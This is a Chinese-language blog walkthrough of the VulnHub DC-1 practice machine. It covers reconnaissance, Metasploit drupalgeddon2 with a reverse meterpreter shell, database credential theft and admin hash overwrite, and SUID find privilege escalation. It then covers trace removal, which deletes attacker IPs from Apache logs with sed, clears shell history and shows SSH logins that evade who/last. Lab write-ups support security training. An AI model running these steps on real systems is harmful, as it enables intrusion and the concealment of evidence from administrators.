DC-1综合靶场渗透从外网打到内网,权限提升,入侵痕迹清除,干货,建议收藏

前言

博客主页:https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd

由于传播、利用本公众小羽网安提供的文章、工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号小羽网安及作者不为此承担任何责任,一旦造成后果请自行承担!

本文主要讲解了渗透测试中的完整渗透测试流程,主要包含【信息收集】、【漏洞利用】、【后渗透】、【权限提升】、【痕迹清除】绝对干货,靶场为vulnhub的机器大家可以自行下载。

环境准备

靶机下载地址:https://www.vulnhub.com/entry/dc-1,292/

攻击机:kali,自行准备

信息收集

开启靶机,切换net/桥接模式

image-20240813182844318

nmap探测主机存活80/sP探测

nmap的基本使用,以及高级用法文章参考:

nmap 192.168.209.0/24 -80 # 这里使用80端口来找存活的web主机也可以使用其他方式

image-20240813183742622

# 或者
 nmap -sP 192.168.209.0/24  # -sP这个选项是用来指定一个主机发现方法。

image-20240818160824830

靶机端口扫描,开放了22、80、111、34471端口

nmap 192.168.209.157 -p- -v

image-20240818135805710

访问http服务的80端口,进入到web界面,有一个登录

image-20240813183751733

sql注入万能密码,也没有sql语句错误的提示,这里就直接绕过sql注入

image-20240818134025496

注册一个用户试试,他还要发送邮件,并没有让我们填写密码

image-20240818133926122

需要批准之后才能注册用户

image-20240818134250625

由于没有登录,dirb不嫩指定cookie扫描,扫到一个robots.txt和web.config没有什么作用

image-20240818134516901

访问

image-20240818133122548

也没发现什么有用的内容

image-20240818134440488

在这里没用,应该是一个api接口

image-20240818135015994

还有一些七七八八的就不看了,基本没啥作用的

漏洞探测

使用whatweb(kali自带)指纹识别,找到目标cms的版本和其他信息

whatweb -v 192.168.209.157

image-20240818140459776

msf漏洞利用

msf漏洞利用神器,直接搜索Drupal这些模块

msfconsole
search Drupal

image-20240818141259999

使用第一个模块试试,显示这个模块的所有payload,都是反弹和正向连接的,没有我们需要的

show payloads

image-20240818141459438

我们使用第二个模块试试

image-20240818141815404

use unix/webapp/drupal_drupalgeddon2
# 或者
use 1
# 然后
show payloads # 显示该模块下的所有payload

发现这些东西,和php有关,而且能反弹到我们meterpreter后渗透模块中

image-20240818141741955

设置payload为tcp反弹shell

set payload payload/php/meterpreter/reverse_tcp

当然也可以使用tcp正向连接

set payload payload/php/meterpreter/bind_tcp

他们的区别

正向连接:在msf中通常是指,bind_tcp,定义--攻击机主动发起连接请求,连接到目标靶机特定的一个端口,目标机器也需要开启一个监听端口,比如tcp监听

反向连接:在msf中通常是指,reverse_tcp,定义--更常用,通过设置reverse_tcp攻击载荷可以轻松实现反弹,监听只需要在本机开启监听端口。

主要区别就是公网和局域网的不同利用,正向连接通常攻击机用在局域网中不能访问外网靶机,反向连接需要两个机器都需要能互相ping

这里就使用反向连接来测试

image-20240818162648247

如果出现如下错误多半是防火墙端口没有放行

image-20240818142335776

就是配置下的本地监听端口

image-20240818142405516

使用iptables放行端口

 sudo iptables -I INPUT -p tcp --dport 4444 -j ACCEPT

这个时候重新开始攻击即可

run
getuid

image-20240818142514729

后渗透

查看系统信息

sysinfo

image-20240818142715886

获取shell

shell

image-20240818142745872

上面终端显示的样子不好看,使用python调用系统终端

python -c "import pty;pty.spawn('/bin/bash')"

image-20240818143019978

这样子就好看多了

找到flag1.txt

image-20240818143302407

他说下一步要找一个cms的配置文件,一般配置文件都是settings.xxx,这里我们从当前目录模糊查询一下

find . -name 'set*'

image-20240818143545032

又给了你一个提示

What can you do with these credentials?

你能用这些凭证做什么?

$databases = array (
  'default' =>
  array (
    'default' =>
    array (
      'database' => 'drupaldb',
      'username' => 'dbuser',
      'password' => 'R0ck3t',
      'host' => 'localhost',
      'port' => '',
      'driver' => 'mysql',
      'prefix' => '',
    ),
  ),
);

那当然是连接本地数据库

mysql -udbuser -pR0ck3t

image-20240818143958629

查看所有数据库

image-20240818144043739

切换到这个站点的数据库,并查看有什么表

use drupaldb
show tables;

找到有一个users表

image-20240818144314899

里面包含用户名/密码信息

select * from users;

image-20240818144402503

这样子不好看,那么我们就加一个\G

select * from users\G;

image-20240818144902441

不知道是什么加密,文心一言说还加了盐,那么我们只能去找这个hash规则的文件了

image-20240818145235963

从当前站点目录查找这个文件,并发现有一个password-hash.sh文件

find . -name '*hash*'

image-20240818145449078

在此之前查看了很多文件,都没什么用,就执行这个文件吧,看到如下提示

image-20240818150006217

那么我们就根据它的提示,传一个密码给他,执行一下生成了一个密码为123456的hash值,这不是和我们数据库中的密码很相像?

image-20240818150056202

把他复制下来

$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq

进入mysql

mysql -udbuser -pR0ck3t

修改密码

update users set pass='$S$D3sW0ZbjbGZnPCkv.OGFsk9x2vzkdbTDAz1XEnbse4JiArQL83sq' where name='admin';

登录成功了!

image-20240818150702067

这里我们就找到了flag3

image-20240818150819381

点进去找到这个,提示我们去passwd文件看看

image-20240818150933734

提示我们去passwd,找到flag4

cat /etc/passwd

image-20240818153606548

切换flag4用户下的目录

image-20240818153823104

查看这个文件的权限,尝试追加用户提权,但是只能root读写

image-20240818153930758

find / -perm -u=s -type f  2>/dev/null
# `1>/dev/null`用于丢弃正常输出,而`2>/dev/null`用于丢弃错误输出。

image-20240818155341060

使用find提权

find / -exec "/bin/bash" -p \;

提权成功,找到了最后一个flag

image-20240818160245793

痕迹清除

观察一下我们刚刚使用过的操作,登录数据库(数据库日志),web请求(阿帕奇日志),msf漏洞利用(kaliweb请求),命令使用(history)

1、中间件日志清除

对于web请求(阿帕奇日志),msf漏洞利用(kaliweb请求)这两个我们直接清除指定ip的行即可,日志文件全部被清空,太容易被管理员察觉了,如果只是删除或替换部分关键日志信息,那么就可以完美隐藏攻击痕迹。

 find / -name 'access*'

image-20240818185526278

查看都有一些什么内容

cat /var/log/apache2/access.log

image-20240818184346502

筛选自己的主机(192.168.209.1)和攻击机器(192.168.209.151)的请求记录

sed -i '/192.168.209.1/d' /var/log/apache2/access.log

这条命令会直接在原文件中删除所有包含192.168.209.1的行。-i选项表示直接修改文件。/d这里表示清除209段下的所有ip地址日志

cat /var/log/apache2/access.log

可以看到连同kali(192.168.209.151)的日志一起清除成功了

image-20240818190502898

同理正常请求日志清除了,错误请求日志也要删除吧

find / -name 'error*'

image-20240818192956744

cat /var/log/apache2/error.log

image-20240818193103405

一大堆kali攻击日志

同理直接使用sed更改

 sed -i '/192.168.209.1/d' /var/log/apache2/error.log

清除成功!

image-20240818193449850

2、密码还原

对于渗透测试中,这里有一个小细节,我们把密码改了,要做到无痕,还得把密码改回去是吧

登录数据库

mysql -udbuser -pR0ck3t
update users set pass="$S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR" where name="admin";

image-20240818190851839

3、清除数据库日志

没有权限

image-20240818191045098

查看日志状态

show variables like '%log%';

image-20240818191714497

general_log是一个记录数据库服务器所接收到的每一条SQL语句的日志文件。

  • general_log设置为ON时,MySQL会记录所有客户端发送给服务器的SQL语句到general_log_file指定的文件中。
  • general_log设置为OFF时,MySQL不会记录这些SQL语句,从而节省磁盘空间和提高性能。

慢查询日志slow_query_log看图也是关闭的

  • slow_query_log 设置为 ON 时,MySQL 会将执行时间较长的查询记录到慢查询日志文件中,通常这个文件位于数据目录中,文件名可能是 hostname-slow.log
  • slow_query_log 设置为 OFF 时,MySQL 不会记录慢查询。

找到这两个日志文件路径,看看有没有,很好没有,这一步跳过

image-20240818191618602

4、清除命令历史

查看自己曾经输入过的命令

history

image-20240818192552351

history -c # 清除命令历史

image-20240818192643230

5、登录日志

这里我们使用的是反弹shell,实际上并没有登录,不会增加一条标准的ssh登录日志,这里跳过。

6、nmap扫描日志

nmap扫描时,如果你指定了输出文件(例如使用-oN选项),确保删除这些文件。

清除临时文件,如/tmp,查看是否有nmap相关的临时文件,并将其删除。

image-20240818195225115

7、更多

我很菜,还有很多东西,这里可能没有讲到,如果还有欠缺,还请留言告知

扩展知识

隐身登录系统,不会被w、who、last等指令检测到。

ssh -T root@192.168.0.1 /bin/bash -i

不记录ssh公钥在本地.ssh目录中

ssh -o UserKnownHostsFile=/dev/null -T user@host /bin/bash –i

往期文章推荐:

https://mp.weixin.qq.com/mp/homepage?__biz=Mzg2Nzk0NjA4Mg==&hid=2&sn=54cc29945318b7d954c2e04fcd6060cd

posted @ 2024-09-18 15:30  白小雨  阅读(29)  评论(0编辑  收藏  举报